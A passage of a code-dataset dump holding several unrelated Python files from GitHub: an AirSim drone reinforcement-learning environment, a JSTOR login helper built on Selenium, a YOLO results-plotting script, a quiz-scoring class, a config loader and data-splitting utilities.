:actions_dict}\n\n if self.time_step >= self.max_eps_steps:\n print(\"over time\")\n self.done = True\n reward = -1e6\n done = self.done\n\n\n # print(f'state {state}')\n # print(f'reward {reward}')\n\n # Normalize the state and reward\n self.state_mean_prev = AirsimEnv.state_mean.copy()\n AirsimEnv.state_mean = self.state_mean_prev + ((1/AirsimEnv.k)*(state.copy() - self.state_mean_prev))\n AirsimEnv.state_s_k += (state.copy() - self.state_mean_prev) * (state.copy() - AirsimEnv.state_mean.copy())\n\n if AirsimEnv.k == 2 :\n state_std = np.zeros(14)\n state_std += 0.01\n else:\n state_std = np.sqrt(AirsimEnv.state_s_k.copy()/(max(AirsimEnv.k-1,2)))\n\n #state #= (state.copy() - AirsimEnv.state_mean.copy()) / state_std.copy()\n\n self.reward_mean_prev = AirsimEnv.reward_mean\n AirsimEnv.reward_mean = self.reward_mean_prev + ((1/AirsimEnv.k)*(reward - self.reward_mean_prev))\n AirsimEnv.reward_s_k += (reward - self.reward_mean_prev) * (reward - AirsimEnv.reward_mean)\n reward_std = np.sqrt(AirsimEnv.reward_s_k/(AirsimEnv.k-1))\n\n reward = reward / reward_std\n self.reward_sum += reward\n\n if self.done:\n print(f\"reward_sum {self.reward_sum}\")\n print(f\"reward std {reward_std}\")\n print(f\"reward_mean {AirsimEnv.reward_mean}\")\n # print(f\"state {state}\")\n\n\n\n # print(f\"state {state} shape {state.shape}\")\n # print(f\"mean {self.state_mean} shape {self.state_mean.shape}\")\n # print(f\"state_std {state_std} shape {state_std.shape}\")\n\n # print(f\"norm state {state} shape {state.shape}\")\n return state, reward, done, info\n\n def reset(self):\n AirsimEnv.k += 1\n self.reward_sum = 0\n # set the goals\n # goals = [self.GenerateGoal(range_min=5, range_max=8), self.GenerateGoal(range_min=9, range_max=12), self.GenerateGoal(range_min=13, range_max=15)]\n # self.goals = self.GoalsToQuadFrame(goal)\n self.goal = self.GoalsToQuadFrame(self.GenerateGoal(range_min=3, range_max=10))\n self.num_reached_goals = 0\n self.goal_ind = 0\n print(f\"goal is {self.goal}\")\n\n self.airsimClient.confirmConnection()\n self.airsimClient.reset()\n self.airsimClient.enableApiControl(True)\n self.airsimClient.armDisarm(True)\n\n quad_state = self.airsimClient.getMultirotorState().kinematics_estimated\n # self.randomizeGoal()\n state,state_tup = self._extract_state(quad_state)\n self.isReseted = True\n self.done = False\n self.time_step = 0 \n time.sleep(0.1)\n\n # State and reward Normalization\n self.state_mean_prev = AirsimEnv.state_mean.copy()\n AirsimEnv.state_mean = self.state_mean_prev + ((1/AirsimEnv.k)*(state.copy() - self.state_mean_prev))\n AirsimEnv.state_s_k += (state.copy() - self.state_mean_prev) * (state.copy() - AirsimEnv.state_mean.copy())\n if AirsimEnv.k == 1:\n state_std = np.zeros(14)\n state_std += 0.01\n else:\n state_std = np.sqrt(AirsimEnv.state_s_k.copy()/(max(AirsimEnv.k-1,2)))\n\n\n\n # print(f\"state {state} shape {state.shape}\")\n # print(f\"mean {self.state_mean} shape {self.state_mean.shape}\")\n # print(f\"state_std {state_std} shape {state_std.shape}\")\n # print(f\"K {self.k}\")\n\n\n #state = (state - AirsimEnv.state_mean.copy()) / state_std\n\n # print(f\"norm state {state} shape {state.shape}\")\n # print(f\"Goal position {self.goal}\")\n return state\n\n \n # compute the distance to goal (DTG) reward\n def _compute_DTG_reward(self, state_tup, goal, actions):\n quad_postion = state_tup[0]\n quad_vel = state_tup[1]\n angles = state_tup[2]\n\n weights = [1, 1, 1, 0.05, 0.05, 0.05, 0.1, 0.1, 0.1]\n l2_dis = (( weights[0] * (quad_postion[0] - goal[0])**2) \n + ( weights[1] * (quad_postion[1] - goal[1])**2) + weights[2] * (quad_postion[2] - goal[2])**2) \n # vel_pen = weights[3] * quad_vel[0]**2 + weights[4] * quad_vel[1]**2 + weights[5] * quad_vel[2]**2\n # actions_pen = (weights[6] * (actions[0]**2)) + (weights[7] * (actions[1]**2)) +(weights[8] * (actions[2]**2))\n # angles_pen = np.sum(0.1*angles**2)\n # print(f'l2_dis {l2_dis}')\n # print(f'vel_pen {vel_pen}')\n # print(f'actions_pen {actions_pen}')\n return -l2_dis #+ vel_pen + actions_pen + angles_pen)\n\n def _extract_state(self, quad_state):\n position_x = quad_state.position.x_val\n position_y = quad_state.position.y_val\n position_z = quad_state.position.z_val\n # print(position_x, position_y, position_z)\n position = np.array([position_x, position_y, position_z ])\n # position = quad_state.position.to_numpy_array()\n linear_velocity = quad_state.linear_velocity.to_numpy_array()\n orientation_quaternions = quad_state.orientation.to_numpy_array()\n orientation_angles,_ = self._conver_quaternoins_to_euler_angles(orientation_quaternions)\n angular_velocity = quad_state.angular_velocity.to_numpy_array()\n d = self._compute_l2_distance(position, self.goal)\n angle = np.arctan2((self.goal[1] - position_y), (self.goal[0] - position_x))\n # angle *= (180 / np.pi)\n\n\n state = np.concatenate((position ,linear_velocity, orientation_angles, angular_velocity))\n state = np.append(state, d)\n state = np.append(state, angle)\n # print(f\"state {state}\")\n # print(f\"angle in degrees is {angle * 180 / np.pi}\")\n # import pdb; pdb.set_trace()\n return state, (position, linear_velocity, orientation_angles, angular_velocity, d, angle)\n\n def randomizeGoal(self):\n self.goal = [np.random.uniform(-30, 30)\n , np.random.uniform(-30, 30)\n , np.random.uniform(-5,-15)]\n\n # Convet a state vector to a dictionary fot logging purposes\n def _state_to_dict(self, state):\n state_dict = {'x position': state[0],\n 'y position': state[1],\n 'z position': state[2],\n 'x linear velocity': state[3],\n 'y linear velocity': state[4],\n 'z linear velocity': state[5],\n 'roll orientation' : state[6],\n 'pitch orientation': state[7],\n 'yaw orientation' : state[8],\n 'x angular velocity': state[9],\n 'y angular velocity': state[10],\n 'z angular velocity': state[11]}\n return state_dict\n\n # Convet an action vector to a dictionary fot logging purposes\n def _action_to_dict(self, action):\n action_dict = {'roll rate' : action[0],\n 'pitch rate': action[1],\n 'yaw rate' : action[2],\n 'throttle' : 0.6 }\n return action_dict\n\n # compute the l2/euclidian distance between two points\n def _compute_l2_distance(self, pos1, pos2):\n l2_dis = np.sqrt(((pos1[0] - pos2[0])**2 )+ ((pos1[1] - pos2[1])**2) + ((pos1[2] - pos2[2])**2) )\n return l2_dis\n\n # Convert a quaternioin values to euler angles to check for \n def _conver_quaternoins_to_euler_angles(self, q):\n # roll pitch yaw\n euler_angles_rad = np.array([\n math.atan2(2*(q[0]*q[1] + q[2]*q[3]), 1 - 2*(q[1]**2 + q[2]**2)), # roll\n math.asin(2*(q[0]*q[2] - q[3]*q[1])), # pitch\n math.atan2(2*(q[0]*q[3] + q[1]*q[2]), 1 - 2*(q[2]**2 + q[3]**2)) # yae\n ])\n euler_angles_degrees = euler_angles_rad * (180/np.pi)\n\n return euler_angles_rad, euler_angles_degrees\n\n # transform the location from unity frame of reference to the quad frame of reference\n def _r_u_to_q(self, point):\n R = np.array([[0,0,1],[1,0,0],[0,-1,0]])\n p_quad_frame = R.dot(point)\n if p_quad_frame[2] > 0:\n p_quad_frame[2] *= -1\n return p_quad_frame\n\n def GoalsToQuadFrame(self, goals):\n R = np.array([[0,0,1],[1,0,0],[0,-1,0]])\n\n goals = np.array(goals)\n goals_quad_frame = goals.dot(R)\n\n goals_quad_frame[2] = np.clip(goals_quad_frame[2], -10, -4)\n return goals_quad_frame\n\n # def GenerateGoal(self, range_min = 8, range_max = 10):\n # count = 1\n # d = np.random.uniform(low=-1,high=1,size=(3,)) * count\n # dis = np.sqrt(d[0]**2 + d[1]**2+ d[2]**2)\n # while not (dis >= range_min and dis <= range_max):\n # d = np.random.uniform(low=-1,high=1,size=(3,)) * count\n # dis = np.sqrt(d[0]**2 + d[1]**2+ d[2]**2)\n # if dis < range_min:\n # count += 1\n # else:\n # count -= 1\n # return d\n def GenerateGoal(self, range_min =5 ,range_max = 10, init_point=[0,0,0]):\n count = 1.\n num_iter = 0\n d = np.random.uniform(low=-1,high=1,size=(3,)) * count\n dis = np.sqrt((d[0]-init_point[0])**2 + (d[1]-init_point[1])**2+ (d[2]-init_point[2])**2)\n\n while not (dis < range_max and dis > range_min):\n num_iter += 1\n d = np.random.uniform(low=-1,high=1,size=(3,)) * count\n dis = np.sqrt((d[0]-init_point[0])**2 + (d[1]-init_point[1])**2+ (d[2]-init_point[2])**2)\n\n if dis <= range_min:\n count += 0.1\n elif dis > range_max:\n count -= 0.1\n # elif num_iter >= 1000000:\n # break\n\n # print(f\"dis {dis}\")\n d_s = [d + init_point, init_point - d]\n random.shuffle(d_s)\n return d_s[0]\n\n\n\n","repo_name":"FaisalAhmed0/gym-airsim","sub_path":"gym_airsim/envs/airsm_backup.py","file_name":"airsm_backup.py","file_ext":"py","file_size_in_byte":18084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35542461985","text":"import time\nimport emoji\nimport os\n\nfrom termcolor import colored\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.common.by import By\nfrom src.errors import MainException, TypoException\n\nfrom src.helpers import system, print_typo\n\nis_windows = system()\n\n\ndef print_login_requirements():\n\n print(colored(\"\\n\\n\\nSet-up and Dependencies\", attrs=[\"reverse\"]))\n\n print(colored(\"\\n\\nPlease note:\", attrs=[\"reverse\"]) * (is_windows))\n print(colored(\"\\n\\nPlease note:\", attrs=[\"bold\", \"underline\"]) * (not is_windows))\n\n print(\n \"\\n\"\n + colored(\" i \", \"blue\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":information:\") * (not is_windows)\n + \" Valid JSTOR login credentials are a requirement to use this tool.\"\n )\n\n print(\n \"\\n\"\n + colored(\" i \", \"blue\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":information:\") * (not is_windows)\n + \" You will need Google Chrome installed on your device.\"\n )\n\n print(\n \"\\n\"\n + colored(\" i \", \"blue\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":information:\") * (not is_windows)\n + \" You will need ffmpeg and ffprobe installed on your device.\"\n )\n\n print(\n \"\\n\\nBefore you start, \"\n + colored(\"ensure that you:\", attrs=[\"reverse\"]) * (is_windows)\n + colored(\"ensure that you:\", attrs=[\"bold\", \"underline\"]) * (not is_windows)\n )\n\n print(\n \"• Have Google Chrome installed. To install, visit https://support.google.com/chrome/answer/95346?hl=en&ref_topic=7439538. \\n• Have ffmpeg and ffprobe installed. For installation instructions, visit https://www.wikihow.com/Install-FFmpeg-on-Windows. \\n• Have a stable internet connection.\\n• Keep your device on charge and set to 'never sleep' while on battery and on charge.\"\n * (is_windows)\n )\n\n print(\n \"• Have Google Chrome installed. To install, visit https://support.google.com/chrome/answer/95346?hl=en&ref_topic=7439538. \\n• Have ffmpeg and ffprobe installed. For installation instructions, visit https://bbc.github.io/bbcat-orchestration-docs/installation-mac-manual/. \\n• Have a stable internet connection.\\n• Keep your device on charge and set to 'never sleep' while on battery and on charge.\"\n * (not is_windows)\n )\n\n print(\n \"\\n\\nWhile the program runs, \"\n + colored(\"please do not:\", attrs=[\"reverse\"]) * (is_windows)\n + colored(\"please do not:\", attrs=[\"bold\", \"underline\"]) * (not is_windows)\n )\n\n print(\n \"\\n• Close the Google Chrome window that will be opened in the next steps.\\n• Interfere with the Google Chrome window unless prompted to do so.\"\n )\n\n get_input(\n colored(\"\\n\\n-- Press \")\n + colored(\"ENTER/RETURN\", attrs=[\"reverse\"]) * (is_windows)\n + colored(\"ENTER/RETURN\", attrs=[\"bold\"]) * (not is_windows)\n + colored(\" to continue: \")\n )\n\n\ndef print_login_instructions():\n\n print(\"\\n\\n\\n\" + colored(\"JSTOR Login\", attrs=[\"reverse\"]))\n\n print(\n \"\\n\\n\"\n + colored(\" i \", \"blue\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":information:\") * (not is_windows)\n + \" To continue, a JSTOR user login is required, either via institution VPN/wifi or manually via the JSTOR website.\"\n )\n\n time.sleep(1)\n\n print(\n \"\\n\"\n + colored(\" i \", \"blue\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":information:\") * (not is_windows)\n + \" No login information will be recorded in the process.\"\n )\n\n time.sleep(1)\n\n print(\n \"\\n\\n\"\n + colored(\"User credential security information:\", attrs=[\"reverse\"])\n * (is_windows)\n + colored(\"User credential security information:\", attrs=[\"bold\", \"underline\"])\n * (not is_windows)\n )\n\n print(\n \"\\n\\n• If you choose to login via VPN or wifi, your credentials will already be authenticated and you won't need to provide\\n any login details.\\n• If you choose to login via the JSTOR website, you will be prompted to enter your login details via your university\\n portal on JSTOR.\"\n )\n\n time.sleep(2)\n\n print(\n \"\\n\\n\"\n + colored(\"JSTOR Login Instructions:\", attrs=[\"reverse\"]) * (is_windows)\n + colored(\"JSTOR Login Instructions:\", attrs=[\"bold\", \"underline\"])\n * (not is_windows)\n + \"\\n\"\n )\n\n\ndef receive_login_action():\n\n print(\n \"\\n\"\n + colored(\" i \", \"blue\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":information:\") * (not is_windows)\n + \" Please follow the prompts below to login.\"\n )\n\n login_method = get_input(\n colored(\n \"\\n-- Type [1] to login via institution VPN or wifi\"\n + \"\\n-- Type [2] to manually login via the JSTOR website\"\n + \"\\n-- Type [3] to return to main menu\"\n + \"\\n : \",\n )\n )\n\n return login_method\n\n\ndef vpn_login(driver, url, html_load, html_login):\n\n print(\n \"\\n\"\n + colored(\" i \", \"blue\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":information:\") * (not is_windows)\n + \" Follow the steps below:\"\n )\n\n time.sleep(1)\n\n print(\n colored(\n \"\\n\\nStep 1/1: Please connect to your institution's VPN or wifi, then continue.\\n\",\n \"blue\",\n )\n )\n\n time.sleep(1)\n\n cont = receive_proceed_action()\n\n if cont == \"1\":\n\n print(\"\\nGive it a second, we are checking for successful login.\\n\")\n\n driver.get(url)\n\n if validate_page_load(driver, html_load) == False:\n return False\n\n time.sleep(2)\n\n if validate_login(driver, html_login) == True:\n\n driver.maximize_window()\n\n return True\n\n else:\n\n return False\n\n elif cont == \"2\":\n\n driver.close()\n\n return False\n\n\ndef manual_login(driver, url, html_load, html_login):\n\n print(\"\\nYou are now being routed to JSTOR home page.\")\n\n time.sleep(2)\n\n print(\"\\nSit tight and wait for Google Chrome to open on your screen.\\n\")\n\n time.sleep(2)\n\n print(\n \"\\n\"\n + (colored(\" i \", \"blue\", attrs=[\"reverse\"])) * (is_windows)\n + (emoji.emojize(\":information:\")) * (not is_windows)\n + \" While the browser opens, read through the login steps:\"\n )\n\n time.sleep(1)\n\n print(\n colored(\n \"\\nStep 1/4: Navigate to the top of the JSTOR home page, and click on the link: \",\n \"blue\",\n )\n + colored(\n \"Log in through your library.\",\n \"blue\",\n attrs=[\"reverse\"],\n )\n * (is_windows)\n + colored(\n \"Log in through your library.\",\n \"blue\",\n attrs=[\"bold\"],\n )\n * (not is_windows)\n + colored(\n \"\\nStep 2/4: Search for your institution by using the search box.\\nStep 3/4: Log in using your institution's login credentials.\\nStep 4/4: Accept the cookies.\",\n \"blue\",\n )\n )\n\n time.sleep(1)\n\n print(\"\\nGive it a second, we are checking if the page has loaded successfully.\")\n\n driver.get(url)\n\n if validate_page_load(driver, html_load) == False:\n\n return False\n\n try:\n driver.maximize_window()\n except:\n print(\n \"\\n\"\n + (colored(\" i \", \"blue\", attrs=[\"reverse\"])) * (is_windows)\n + (emoji.emojize(\":information:\")) * (not is_windows)\n + (\n \" Failed to open browser window. Please open the Google Chrome tab below.\"\n )\n )\n\n print(\n \"\\n\"\n + colored(\" i \", \"blue\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":information:\") * (not is_windows)\n + \" Once you have completed the steps, continue:\"\n )\n\n cont = receive_proceed_action()\n\n if cont == \"1\":\n\n if validate_page_load(driver, html_load) == False:\n\n return False\n\n print(\"\\nChecking for successful login.\\n\")\n\n time.sleep(1)\n\n if validate_login(driver, html_login) == True:\n\n try:\n driver.maximize_window()\n driver.set_window_position(-2024, 2024)\n except:\n driver.set_window_position(-2024, 2024)\n\n return True\n\n else:\n\n return False\n\n else:\n\n driver.close()\n\n return False\n\n\ndef validate_page_load(driver, html_load):\n\n try:\n\n WebDriverWait(driver, 60).until(\n expected_conditions.element_to_be_clickable(\n (\n By.CLASS_NAME,\n html_load,\n )\n )\n )\n\n except:\n\n print(\n \"\\n\"\n + colored(\" ! \", \"red\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":red_exclamation_mark:\") * (not is_windows)\n + colored(\" Unable to load JSTOR page.\\n\", \"red\")\n )\n\n print(\n \"\\n\"\n + colored(\" i \", \"blue\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":information:\") * (not is_windows)\n + \" Check your internet connection and try again.\\n\"\n )\n\n driver.close()\n\n return False\n\n \"pds__access-provided-by\"\n\n\ndef validate_login(driver, html_login):\n\n try:\n driver.find_element(By.CLASS_NAME, html_login)\n\n time.sleep(1)\n\n print(\n \"\\n\"\n + colored(\" ! \", \"green\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":check_mark_button:\") * (not is_windows)\n + colored(\" Login was successful!\\n\", \"green\")\n )\n\n time.sleep(1)\n\n return True\n\n except:\n\n time.sleep(1)\n\n print_unsuccessful()\n\n return False\n\n\ndef print_unsuccessful():\n\n print(\n \"\\n\"\n + colored(\" ! \", \"red\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":red_exclamation_mark:\") * (not is_windows)\n + colored(\" Login was unsuccessful\\n\", \"red\")\n )\n\n print(\n \"\\n\"\n + colored(\" i \", \"blue\", attrs=[\"reverse\"]) * (is_windows)\n + emoji.emojize(\":information:\") * (not is_windows)\n + \" Try again, make sure you follow the instructions carefully.\\n\"\n )\n\n\ndef receive_proceed_action():\n\n proceed_input = get_input(\n colored(\n \"\\n-- Type [1] to continue\\n-- Type [2] to return to contributions menu\\n : \"\n )\n )\n if proceed_input != \"1\" and proceed_input != \"2\":\n\n print_typo()\n\n return receive_proceed_action()\n\n return proceed_input\n\n\ndef receive_end_program_action(driver):\n\n exit_program = get_input(\n colored(\n \"\\n-- Type [1] to make another contribution\\n-- Type [2] to go back to main menu\\n-- Type [3] to exit\\n : \"\n )\n )\n\n try:\n return process_end_program_action(driver, exit_program)\n except TypoException:\n return receive_end_program_action(driver)\n\n\ndef process_end_program_action(driver, exit_program):\n\n if exit_program == \"1\":\n return 0\n elif exit_program == \"2\":\n driver.close()\n raise MainException\n elif exit_program == \"3\":\n driver.close()\n os._exit(0)\n\n else:\n print_typo()\n raise TypoException\n\n\ndef get_input(text):\n return input(text).strip()\n","repo_name":"FinHubSA/AK-PDF-Scraper","sub_path":"src/user_login.py","file_name":"user_login.py","file_ext":"py","file_size_in_byte":11456,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"37704310076","text":"from pathlib import Path\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\ndef plot_results(start=0, stop=0, bucket='', id=(), labels=(), save_dir=''):\n # Plot training 'results*.txt'. from utils.plots import *; plot_results(save_dir='runs/train/exp')\n fig, ax = plt.subplots(2, 5, figsize=(12, 6), tight_layout=True)\n ax = ax.ravel()\n s = ['Box', 'Objectness', 'Classification', 'Precision', 'Recall',\n 'val Box', 'val Objectness', 'val Classification', 'mAP@0.5', 'mAP@0.5:0.95']\n if bucket:\n # files = ['https://storage.googleapis.com/%s/results%g.txt' % (bucket, x) for x in id]\n files = ['results%g.txt' % x for x in id]\n c = ('gsutil cp ' + '%s ' * len(files) + '.') % tuple('gs://%s/results%g.txt' % (bucket, x) for x in id)\n os.system(c)\n else:\n files = list(Path(save_dir).glob('results*.txt'))\n assert len(files), 'No results.txt files found in %s, nothing to plot.' % os.path.abspath(save_dir)\n for fi, f in enumerate(files):\n try:\n results = np.loadtxt(f, usecols=[2, 3, 4, 8, 9, 12, 13, 14, 10, 11], ndmin=2).T\n n = results.shape[1] # number of rows\n x = range(start, min(stop, n) if stop else n)\n for i in range(10):\n y = results[i, x]\n if i in [0, 1, 2, 5, 6, 7]:\n y[y == 0] = np.nan # don't show zero loss values\n # y /= y[0] # normalize\n label = labels[fi] if len(labels) else f.stem\n ax[i].plot(x, y, marker='.', label=label, linewidth=2, markersize=8)\n ax[i].set_title(s[i])\n # if i in [5, 6, 7]: # share train and val loss y axes\n # ax[i].get_shared_y_axes().join(ax[i], ax[i - 5])\n except Exception as e:\n print('Warning: Plotting error for %s; %s' % (f, e))\n\n ax[1].legend()\n fig.savefig(Path(save_dir) / 'results.png', dpi=200)\n\nplot_results(save_dir='runs/train/yolov7-mixed2')","repo_name":"rico227/traffic-sign-recognition","sub_path":"scripts/plot_unfinished_training_results.py","file_name":"plot_unfinished_training_results.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"29156638617","text":"from PIL import Image as im\nimport concurrent.futures as future\nimport cv2 as cv\nimport numpy as np\nfrom pyautogui import *\nfrom time import perf_counter as pc\nfrom graphics import *\nimport operator\n\n\nclass Correct:\n def __init__(self, input):\n self.input = input\n self.score = {}\n self.corrected_skilje = {}\n self.corrected = {} # huriva en person fick rätt eller fel på en fråga\n self.sorted_by_skilje = []\n self.question_number = 0\n\n def get_names(self):\n return self.input.get_names()\n\n def get_sorted_by_skilje(self):\n return self.sorted_by_skilje\n\n def get_one_correct_answers(self, question_number):\n self.question_number = question_number\n for image_name in self.input.answers:\n if question_number == 0:\n self.corrected[self.input.get_names()[image_name]] = {}\n self.score[image_name] = 0\n else:\n # print(str(self.input.correct_answers[question_number]))\n if str(self.input.answers[image_name][question_number]) == str(\n self.input.correct_answers[question_number]\n ):\n self.corrected[self.input.get_names()[image_name]][\n question_number\n ] = \"correct\"\n self.score[image_name] += 1\n else:\n self.corrected[self.input.get_names()[image_name]][\n question_number\n ] = \"wrong\"\n # print(self.score, \"poäng\")\n\n def get_correct_answers(\n self,\n ): # ifall man är otolig och vill rätta allt samtidigt;)\n for image_name in self.input.answers:\n self.corrected[image_name] = {}\n self.score[image_name] = 0\n for question_number in self.input.correct_answers:\n if str(self.input.answers[image_name][question_number]) == str(\n self.input.correct_answers[question_number]\n ):\n self.corrected[image_name][question_number] = \"correct\"\n self.score[image_name] += 1\n else:\n self.corrected[image_name][question_number] = \"wrong\"\n # print(self.score, \"score\")\n\n def compare_skilje(self):\n # returnar kanske en dic med imagename:skillnad ifrån svaret.\n for image_name in self.input.answers:\n diff = abs(\n int(self.input.skilje[image_name]) - int(self.input.correct_skilje)\n )\n self.corrected_skilje[image_name] = diff\n\n def dont_compare_skilje(self):\n for image_name in self.input.answers:\n self.corrected_skilje[image_name] = int(self.input.skilje[image_name])\n\n def print_method(self):\n self.sorted_by_skilje = []\n sorted_by_value = dict(\n sorted(self.score.items(), key=operator.itemgetter(1), reverse=True)\n )\n self._print_method(True, sorted_by_value)\n i = 0\n for name_list in self.sorted_by_skilje:\n self.sorted_by_skilje[i][0] = self.input.get_names()[name_list[0]]\n i += 1\n\n def _print_method(self, bol, sorted_by_value): # första sorteringen\n i = 1\n bol = False # om man gått igenom en hel print_method utan att ändra ordning i listan är man klar och bol blir False.\n for image_name, score in sorted_by_value.items():\n if i == 1:\n self.sorted_by_skilje.append(\n [image_name, score, self.corrected_skilje[image_name]]\n )\n else:\n if sorted_by_value[image_name] == self.sorted_by_skilje[i - 2][1]:\n if (\n self.corrected_skilje[image_name]\n < self.sorted_by_skilje[i - 2][2]\n ):\n bol = True\n last_sorted = self.sorted_by_skilje[i - 2]\n self.sorted_by_skilje[i - 2] = [\n image_name,\n score,\n self.corrected_skilje[image_name],\n ]\n self.sorted_by_skilje.append(last_sorted)\n else:\n\n self.sorted_by_skilje.append(\n [image_name, score, self.corrected_skilje[image_name]]\n )\n else:\n self.sorted_by_skilje.append(\n [image_name, score, self.corrected_skilje[image_name]]\n )\n i += 1\n # print(self.sorted_by_skilje, \"sorterat by skilje\")\n return self._double_print_method(bol)\n\n def _double_print_method(\n self, bol\n ): # ifall många har exakt samma poäng kan även denna behövas\n i = 1\n if (\n bol == False\n ): # basfall i rekuriton ifall det inte ändrades nåt förra gången är vi klara\n return \"\"\n bol = False\n for image_list in self.sorted_by_skilje:\n image_name = image_list[0]\n score = image_list[1]\n skilje = image_list[2]\n if i != 1:\n if score == self.sorted_by_skilje[i - 2][1]:\n if skilje < self.sorted_by_skilje[i - 2][2]:\n bol = True\n last_sorted = self.sorted_by_skilje[i - 2]\n self.sorted_by_skilje[i - 2] = [\n image_name,\n score,\n self.corrected_skilje[image_name],\n ]\n self.sorted_by_skilje[i - 1] = last_sorted\n else:\n self.sorted_by_skilje[i - 1] = [\n image_name,\n score,\n self.corrected_skilje[image_name],\n ]\n i += 1\n return self._double_print_method(bol)\n","repo_name":"jonatca/paperQuizCorrector","sub_path":"correct.py","file_name":"correct.py","file_ext":"py","file_size_in_byte":6053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24183966578","text":"import os\nimport platform\n\nimport yaml\n\n# All configs placed into config/configs.yaml file. Please declare only variables here and set all values in yaml file\n\nwith open(f'{os.path.dirname(os.path.abspath(__file__))}/configs.yaml') as CONFIGS:\n CONFIGS = yaml.safe_load(CONFIGS)\n ENV_CONFIGS = CONFIGS['environments'][os.getenv('ENVIRONMENT', 'dev')]\n URLS = CONFIGS['urls']\n GENERAL = CONFIGS['general']\n CONTROLLERS = CONFIGS['controllers']\n\n\n def get_value(key, key_type, *args):\n \"\"\"\n Get constant value from YAML file by default, or from environment variables if exists\n \"\"\"\n value = os.getenv(key.upper(), key_type[key])\n if args and not os.getenv(key.upper()):\n value = value.format(*args)\n return value\n\n\n # Environment settings\n TOKEN = os.getenv('TOKEN', get_value('token', CONFIGS))\n MAIN_API_URL = get_value('main_api_url', URLS)\n\n PROJECT = get_value('project', GENERAL)\n LINK_TYPE_TEST_CASE = get_value('link_type_test_case', GENERAL)\n LINK_TYPE_LINK = get_value('link_type_link', GENERAL)\n TEST_CASE = get_value('test_case', GENERAL)\n BUG = get_value('bug', GENERAL)\n GITHUB = get_value('git_path', GENERAL)\n FILTERED_LOG_ENDPOINTS = get_value('filtered_log_endpoints', CONFIGS)\n\nOS_NAME = platform.system()\nOS_VERSION = platform.version()\nOS_ARCHITECTURE = platform.architecture()\nTEST_DATA_DIR = 'framework/api/test_data'\n\nUSERS_PATH = get_value('users', CONTROLLERS)\n","repo_name":"Goraved/Typhon-API","sub_path":"configuration/config_parse.py","file_name":"config_parse.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30021172422","text":"\"\"\" data_tools module.\nContains DataTools class for data-oriented tasks\n\"\"\"\n\nimport os\nfrom datetime import datetime\nfrom typing import Tuple, Optional, Union\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\n\nfrom ..context import KglToolsContext, KglToolsContextChild\n\n__all__ = ['DataTools']\n\n\nclass DataTools(KglToolsContextChild):\n \"\"\" Data manipulating class\n Класс для работы с данными (загрузка, сохранение, разбивка и т.д.)\n\n Args:\n context: Контекст окружения\n\n Attributes:\n context (KglToolsContext): Контекст окружения\n settings (dict): Словарь с настройками\n random_state (int): Инициализирующее random значение\n X_train (pd.DataFrame): Обучающая выборка данных\n y_train (Union[pd.DataFrame, pd.Series]): Обучающая выборка данных\n X_validate, (pd.DataFrame): Валидационная выборка данных\n y_validate (Union[pd.DataFrame, pd.Series]): Валидационная выборка данных\n \"\"\"\n\n def __init__(self, context: KglToolsContext) -> None:\n super().__init__(context)\n self.settings = context.settings.get('data_tools', dict())\n self.random_state = context.random_state\n self.X_train = None\n self.y_train = None\n self.X_validate = None\n self.y_validate = None\n\n def get_validate_split(self,\n X: pd.DataFrame,\n y: Optional[pd.DataFrame] = None,\n validation_size: float = 0.2) -> Tuple[pd.DataFrame, ...]:\n \"\"\" Get validation split of the dataset\n Разбивка датасета на обучающую и валидационную выборки\n\n Args:\n X: Исходный датасет\n y: Датасет (вектор) с истинными ответами\n validation_size: Пропорция разбиения\n\n Returns:\n Кортеж датасетов (разбивок)\n \"\"\"\n if y is None:\n X_t, X_v = train_test_split(X, test_size=validation_size, shuffle=True,\n random_state=self.random_state)\n self.X_train = X_t\n self.X_validate = X_v\n return (X_t, X_v)\n else:\n X_t, X_v, y_t, y_v = train_test_split(X, y, test_size=validation_size, shuffle=True,\n stratify=y, random_state=self.random_state)\n self.X_train = X_t\n self.X_validate = X_v\n self.y_train = y_t\n self.y_validate = y_v\n return (X_t, X_v, y_t, y_v)\n\n def write_submission(self, predictions: np.ndarray) -> None:\n \"\"\" Write submissions file in proper format\n Запись файла с предсказаниями в заданном формате\n\n Args:\n predictions: Вектор или матрица с предсказаниями\n \"\"\"\n submission_settings = self.settings['submission_params']\n\n sample_submission_path = os.path.join(self.settings['path'], submission_settings['sample_file'])\n\n if not os.path.exists(sample_submission_path):\n print('DataTools::write_submission(): sample submission file is not exist!')\n return\n\n sample_sbm = pd.read_csv(sample_submission_path, **submission_settings['pd_read_csv_params'])\n sample_sbm[submission_settings['target_fields']] = predictions\n\n if not os.path.isdir(submission_settings['submissions_dir']):\n try:\n os.mkdir(submission_settings['submissions_dir'])\n except OSError:\n print('Can\\'t create metasets directory!')\n return\n\n sbm_filename = '{}_sbm.csv'.format(datetime.now().strftime(\"%Y-%m-%d_%H-%M\"))\n smb_filepath = os.path.join(submission_settings['submissions_dir'], sbm_filename)\n\n sample_sbm.to_csv(smb_filepath, 